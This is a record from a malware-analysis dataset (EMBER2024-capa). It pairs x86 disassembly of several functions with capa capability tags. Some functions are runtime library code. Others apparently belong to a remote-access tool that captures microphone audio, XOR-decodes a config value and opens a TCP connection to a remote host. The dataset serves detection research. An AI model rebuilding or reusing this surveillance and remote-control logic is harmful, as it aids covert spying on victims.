joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428bf7
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4427c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00423baa
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00423baa
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x428c6e
cmp word [ecx], dx
je 0x428c6e
mov eax, dword [0x4370d4]
push edi
dec eax
push eax
push 0x436fc0
call fcn.00428de7
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x428ce1
cmp word [eax], dx
je 0x428ce1
mov eax, dword [edi]
test eax, eax
je 0x428c92
cmp word [eax], dx
je 0x428c92
lea eax, [ebp - 0x10]
push eax
call fcn.00428e48
jmp 0x428c9b
lea eax, [ebp - 0x10]
push eax
call fcn.00429143
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x428d0b
mov eax, dword [0x436fbc]
push dword [ebp - 0x14]
dec eax
push eax
push 0x436cb0
call fcn.00428de7
add esp, 0xc
test al, al
je 0x428d0b
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x428cd6
cmp word [eax], di
je 0x428cd6
lea eax, [ebp - 0x10]
push eax
call fcn.00428e48
pop ecx
jmp 0x428d0d
lea eax, [ebp - 0x10]
push eax
call fcn.00429143
jmp 0x428cd3
mov eax, dword [edi]
test eax, eax
je 0x428cf8
cmp word [eax], dx
je 0x428cf8
lea eax, [ebp - 0x10]
push eax
call fcn.00429285
pop ecx
jmp 0x428d0b
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x428dd6
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.00429377
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x428dd6
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x428dd6
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x428dd6
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x428d63
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.004247b0
test ebx, ebx
je 0x428dd1
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.004247b0
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x428dd6
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x428dd6
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00430d29
add esp, 0x10
xor eax, eax
inc eax
jmp 0x428dd8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00414131
leave
ret
Function at 0x42947d
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00423baa
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4294ec
cmp esi, dword [ebp - 4]
je 0x4294e7
cmp dword [ebp + 0xc], 0
je 0x4294e7
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4294c4
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00429546
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4294ee
xor eax, eax
inc eax
jmp 0x4294ee
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x42a588
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00416ea0
mov eax, dword [0x4427c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00427033
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x42a5ca
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x42a726
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004309a0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4448a8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0042a330
mov ecx, dword [esi*4 + 0x4448a8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x42a71f
cmp eax, dword [ecx + edi + 0x24]
jne 0x42a71f
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42a71f
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0042a330
add esp, 0x14
test edx, edx
jl 0x42a71f
jg 0x42a695
test eax, eax
jb 0x42a71f
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x42a71f
jl 0x42a6af
cmp dword [ebp - 0x1008], eax
ja 0x42a71f
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x42a6cd
test ebx, ebx
je 0x42a706
cmp ecx, edi
jae 0x42a706
mov al, byte [ecx]
cmp al, 0xd
jne 0x42a6e7
lea eax, [edi - 1]
cmp ecx, eax
jae 0x42a6f3
cmp byte [ecx + 1], 0xa
jne 0x42a6f3
inc ecx
jmp 0x42a6f3
movzx eax, al
movsx eax, byte [eax + 0x4430f8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x42a6cd
cmp edx, ebx
jne 0x42a6cd
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x42a724
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00414131
leave
ret
Function at 0x42ab2e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42abcb
push ebx
push esi
call fcn.0042abce
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00423a59
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x42ab78
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42abca
push edi
push eax
call fcn.00423949
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42ab98
call fcn.0042390f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42abc9
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00423a59
add esp, 0x20
test eax, eax
jne 0x42abb7
push edi
call fcn.0042390f
jmp 0x42abbf
push ebx
call fcn.0042390f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x42ca9e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4448a8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42cade
cmp byte [ebx], 0xa
jne 0x42cade
or byte [edi + eax + 0x28], 4
jmp 0x42cae3
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x42cbe2
mov dl, byte [eax]
cmp dl, 0x1a
je 0x42cbc5
inc eax
cmp dl, 0xd
je 0x42cb0f
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x42cb35
cmp eax, ecx
jae 0x42cb43
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x42caf7
jmp 0x42cbe2
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42cbc0
cmp dword [ebp - 0x10], 0
je 0x42cbc0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4448a8]
test byte [eax + edi + 0x28], 0x48
je 0x42cb9a
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x42cb85
mov byte [esi], dl
jmp 0x42cb96
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4448a8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x42cbe2
cmp byte [ebp - 1], 0xa
jne 0x42cba9
cmp esi, ebx
jne 0x42cba9
mov byte [esi], 0xa
jmp 0x42cbe1
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0042a2d2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x42cbe2
mov byte [esi], 0xd
jmp 0x42cbe1
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4448a8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x42cbdf
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x42cbe2
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42cbeb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x4448a8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42cc31
cmp word [ebx], dx
jne 0x42cc31
or byte [eax + edi + 0x28], 4
jmp 0x42cc36
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x42cd99
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x42cd79
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x42cc77
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x42ccad
cmp eax, edx
jae 0x42ccbb
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x42cc52
jmp 0x42cd99
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42cd74
cmp dword [ebp - 0x18], 0
je 0x42cd74
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x4448a8]
test byte [eax + edi + 0x28], 0x48
je 0x42cd4a
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x42cd0e
mov word [esi], cx
jmp 0x42cd45
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x4448a8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x4448a8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x4448a8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x42cd99
pop eax
cmp word [ebp - 4], ax
jne 0x42cd5a
cmp esi, ebx
jne 0x42cd5a
mov word [esi], ax
jmp 0x42cd96
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0042a2d2
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x42cd99
push 0xd
pop eax
jmp 0x42cd55
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x4448a8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x42cd93
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x42cd99
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10001010
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x44], 0
mov dword [edi], vtable.CAudio.0
je 0x10001069
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInStop]
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInReset]
lea esi, [edi + 0x30]
mov ebx, 2
nop
push 0x20
push dword [esi]
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
lea esi, [esi + 4]
sub ebx, 1
jne 0x10001040
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInClose]
push 0xffffffffffffffff
push dword [edi + 0x2c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp byte [edi + 0x45], 0
je 0x1000109e
push dword [edi + 0x40]
call dword [sym.imp.WINMM.dll_waveOutReset]
lea esi, [edi + 0x30]
mov ebx, 2
push 0x20
push dword [esi]
push dword [edi + 0x40]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
lea esi, [esi + 4]
sub ebx, 1
jne 0x10001080
push dword [edi + 0x40]
call dword [sym.imp.WINMM.dll_waveOutClose]
lea esi, [edi + 0x30]
mov ebx, 2
push dword [esi - 0x28]
call fcn.1001247d
push 0x20
push dword [esi]
call fcn.1001246f
push dword [esi - 0x20]
call fcn.1001247d
push 0x20
push dword [esi + 8]
call fcn.1001246f
add esp, 0x18
lea esi, [esi + 4]
sub ebx, 1
jne 0x100010a6
push dword [edi + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x28]
call esi
push dword [edi + 0x2c]
call esi
test byte [ebp + 8], 1
je 0x100010fa
push 0x5c
push edi
call fcn.1001246f
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x100011c0
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Get number of processors
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024588
mov eax, dword fs:[0]
push eax
sub esp, 0x1a4
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1ac], edi
lea eax, [edi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [edi], vtable.CClientSocket.0
push eax
mov dword [edi + 4], vtable.CBuffer.0
mov dword [edi + 0x10], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
call esi
mov dword [ebp - 4], 0
lea eax, [edi + 0x3c]
push eax
mov dword [edi + 0x2c], vtable.CBuffer.0
mov dword [edi + 0x38], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
call esi
lea eax, [edi + 0x64]
mov dword [edi + 0x54], vtable.CBuffer.0
push eax
mov dword [edi + 0x60], 0
mov dword [edi + 0x58], 0
mov dword [edi + 0x5c], 0
call esi
lea eax, [edi + 0x8c]
mov dword [edi + 0x7c], vtable.CBuffer.0
push eax
mov dword [edi + 0x88], 0
mov dword [edi + 0x80], 0
mov dword [edi + 0x84], 0
call esi
lea eax, [ebp - 0x1a8]
mov byte [ebp - 4], 3
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 6
mov dword [edi + 0xac], eax
mov byte [edi + 0xb5], 0
mov dword [edi + 0xa8], 0xffffffff
mov dword [ebp - 0x18], 0x9ba98805
mov word [ebp - 0x14], 0xb3a5
call fcn.1001243f
mov esi, eax
lea ebx, [ebp - 0x17]
add esp, 4
mov eax, 1
sub ebx, esi
nop
lea edx, [esi + eax]
mov cl, 0xcc
sub cl, al
inc eax
xor cl, byte [ebx + edx - 1]
mov byte [edx - 1], cl
cmp eax, 5
jbe 0x10001300
mov byte [esi + 5], 0
mov eax, dword [esi]
mov dword [edi + 0xb0], eax
mov cl, byte [esi + 4]
mov byte [edi + 0xb4], cl
push 1
mov dword [esi], 0
push esi
mov byte [esi + 4], 0
call fcn.1001246f
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012425
mov esp, ebp
pop ebp
ret
Function at 0x10001470
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [0x10032014]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [esp + 8]
push esi
push edi
push 4
push eax
mov esi, ecx
mov dword [esp + 0x1c], ebx
push 0x80
push 0xffff
mov dword [esp + 0x20], 1
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esi + 0xa8]
call dword [sym.imp.KERNEL32.dll_CancelIo]
lea edi, [esi + 0xb5]
xor eax, eax
xchg dword [edi], eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [esi + 0xac]
mov dword [esi + 0xa8], 0xffffffff
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x10033a20]
mov byte [edi], 0
test eax, eax
je 0x1000151e
cmp eax, 4
je 0x1000151e
cmp eax, 5
jne 0x1000165e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0xa8], eax
cmp eax, 0xffffffff
je 0x1000165e
cmp dword [0x10033a20], 0
je 0x10001549
push 0x10033820
jmp 0x1000154a
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x1000165e
cmp dword [0x10033a20], 0
mov eax, 2
mov ebx, dword [ebp + 0xc]
mov word [esp + 0x24], ax
je 0x1000157a
movzx eax, word [0x10032880]
push eax
jmp 0x1000157b
push ebx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x26], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x28]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1000165e
cmp dword [0x10033a20], 5
jne 0x100015ca
push ebx
push dword [esp + 0x18]
mov ecx, esi
call fcn.10001680
test al, al
je 0x1000165e
push 1
lea eax, [esp + 0x13]
mov byte [esp + 0x13], 1
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001628
push eax
push eax
lea eax, [esp + 0x17]
mov dword [esp + 0x20], 1
push eax
push 0
push 0
push 0xc
lea eax, [esp + 0x30]
mov dword [esp + 0x34], 0x2bf20
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [esp + 0x44], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
sub esp, 8
mov byte [esi + 0xb5], 1
push esi
push 0x10001990
call fcn.10009c10
mov dword [esi + 0xa4], eax
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esp + 0x34]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
Function at 0x10001d90
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
lea eax, [ebp - 4]
mov dword [ebp - 4], 1
push eax
mov esi, ecx
push 0x80
push 0xffff
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esi + 0xa8]
call dword [sym.imp.KERNEL32.dll_CancelIo]
xor ecx, ecx
lea eax, [esi + 0xb5]
xchg dword [eax], ecx
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [esi + 0xa8], 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002140
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100245f7
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x20
push esi
push edi
mov eax, dword [0x10032014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebx + 8]
push 0
push 0
push 1
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], eax
push 0
mov dword [eax + 0xb8], esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 8], eax
mov dword [ebp - 4], 0
mov dword [esi], vtable.CAudioManager.0
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
je 0x1000232b
cmp byte [0x10033a24], 0
jne 0x1000232b
push 0x5c
call fcn.1001243f
mov edi, eax
add esp, 4
mov dword [ebp - 0x20], edi
push 0
push 0
push 0
mov byte [ebp - 4], 1
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov dword [edi], vtable.CAudio.0
call esi
push 0
push 0
push 0
push 0
mov dword [edi + 0x24], eax
call esi
mov dword [edi + 0x28], eax
lea esi, [edi + 0x30]
mov dword [edi + 0x2c], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 4], 0x3e8
mov word [edi + 0x44], 0
mov dword [ebp - 0x18], 2
push dword [edi + 4]
call fcn.10012436
add esp, 4
mov dword [esi - 0x28], eax
push 0x20
call fcn.1001243f
add esp, 4
mov dword [esi], eax
push dword [edi + 4]
call fcn.10012436
add esp, 4
mov dword [esi - 0x20], eax
push 0x20
call fcn.1001243f
add esp, 4
mov dword [esi + 8], eax
sub dword [ebp - 0x18], 1
lea esi, [esi + 4]
jne 0x10002230
mov byte [ebp - 4], 0
lea eax, [ebp - 0x11]
mov esi, dword [ebp - 0x1c]
xorps xmm0, xmm0
movups xmmword [edi + 0x46], xmm0
mov dword [edi + 0x56], 0
mov ecx, esi
push 1
mov dword [edi + 0x46], 0x10031
mov dword [edi + 0x4a], 0x1f40
mov dword [edi + 0x4e], 0x659
mov dword [edi + 0x52], 0x41
mov dword [edi + 0x56], 0x1400002
push eax
mov dword [esi + 0x10], edi
mov byte [0x10033a24], 1
mov byte [ebp - 0x11], 0x79
call fcn.10006760
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [esi + 8]
call edi
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
mov dword [ebp - 0x30], 0x100024c0
mov dword [ebp - 0x2c], esi
mov byte [ebp - 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x30]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x24]
call edi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x14], esi
jmp 0x1000232d
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4